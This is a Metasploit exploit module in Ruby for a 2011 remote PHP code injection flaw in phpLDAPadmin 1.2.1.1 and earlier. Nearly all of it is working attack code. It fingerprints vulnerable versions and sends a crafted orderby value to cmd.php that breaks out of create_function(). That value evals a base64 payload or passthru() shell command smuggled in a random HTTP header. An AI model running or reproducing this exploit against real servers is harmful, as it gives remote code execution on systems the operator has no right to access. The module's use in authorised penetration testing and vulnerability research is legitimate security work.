phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection

`##  
# $Id: phpldapadmin_query_engine.rb 14062 2011-10-25 16:19:55Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection',  
'Description' => %q{  
This module exploits a vulnerability in the lib/functions.php that allows  
attackers input parsed directly to the create_function() php function. A patch was   
issued that uses a whitelist regex expression to check the user supplied input  
before being parsed to the create_function() call.  
},  
'Author' =>  
[   
'EgiX <n0b0d13s[at]gmail-com>', # original discovery/poc  
'mr_me <steventhomasseeley[at]gmail-com>', # msf  
'TecR0c <roccogiovannicalvi[at]gmail-com >', # msf  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 14062 $',  
'References' =>  
[  
['BID', '50331'],  
['URL', 'http://sourceforge.net/support/tracker.php?aid=3417184'],  
['URL', 'http://www.exploit-db.com/exploits/18021/'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 4000,  
'Keys' => ['php'],  
},  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Oct 24 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI', [true, "phpLDAPadmin directory path", "/phpldapadmin/htdocs/"]),  
], self.class)  
end  
  
def check  
uri = ''  
uri << datastore['URI']  
uri << '/' if uri[-1,1] != '/'  
uri << 'index.php'  
  
res = send_request_raw(  
{  
'method' => 'GET',  
'uri' => uri,  
}, 3)  
  
if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i)  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def get_session  
uri = ''  
uri << datastore['URI']  
uri << '/' if uri[-1,1] != '/'  
uri << 'index.php'  
  
res = send_request_raw(  
{  
'method' => 'GET',  
'uri' => uri,  
}, 3)  
  
if (res.nil? or not res.headers['Set-Cookie'])  
print_error("Could not generate a valid session")  
return  
end  
  
return res.headers['Set-Cookie']  
end  
  
def cleanup  
# We may not be using php/exe again, so clear the CMD option  
if datastore['CMD']  
datastore['CMD'] = nil  
end  
end  
  
def exploit  
# if we are using the exec CMD stager  
# important to check which php functions are disabled  
if datastore['CMD']  
p = "passthru(\"%s\");" % datastore['CMD']  
p = Rex::Text.encode_base64(p)  
else  
p = Rex::Text.encode_base64(payload.encoded)  
end  
  
# Generate some random strings  
hidden_header = rand_text_alpha_upper(6)  
fake_func_name = rand_text_alpha_upper(2)  
  
# build sttack string  
php_code = "#{fake_func_name}));}}error_reporting(0);eval(base64_decode(\$_SERVER[HTTP_#{hidden_header}]));die;/*"  
data = "cmd=query_engine&query=none&search=1&orderby=#{php_code}\r\n\r\n"  
session = get_session  
  
uri = ''  
uri << datastore['URI']  
uri << '/' if uri[-1,1] != '/'  
uri << 'cmd.php'  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => uri,  
'data' => data,  
'headers' =>  
{  
"#{hidden_header}" => p,  
'Cookie' => session,  
'Connection' => 'Close',  
},  
  
}, 3)  
  
print_status("%s" % res.body) if datastore['CMD']  
end  
  
end  
`